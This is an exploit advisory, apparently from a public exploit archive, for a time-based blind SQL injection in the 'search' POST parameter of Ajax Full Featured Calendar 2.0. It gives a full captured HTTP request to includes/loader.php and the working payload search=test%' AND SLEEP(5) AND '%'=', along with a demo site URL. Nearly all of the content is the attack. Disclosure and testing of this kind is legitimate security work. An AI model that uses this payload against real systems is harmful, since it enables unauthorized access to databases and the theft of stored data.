Ajax Full Featured Calendar 2.0 - 'search' SQL Injection

# Exploit Title: Ajax Full Featured Calendar 2.0 - 'search' SQL Injection
# Dork: N/A
# Date: 25.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/ajax-full-featured-calendar-2/10158465
# Version: 2.0
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands from the search section with 'search' parameter.
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# Demo : http://pauloreg.com/d/affc2/index.php
# PoC : SQLi :

POST /d/affc2/includes/loader.php HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://test.com/d/affc2/index.php
Content-Length: 11
Cookie: PHPSESSID=pt848bokjvads6c9kvgs1nu973
Connection: keep-alive
search=test

Parameter: search (POST)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: search=test%' AND SLEEP(5) AND '%'='


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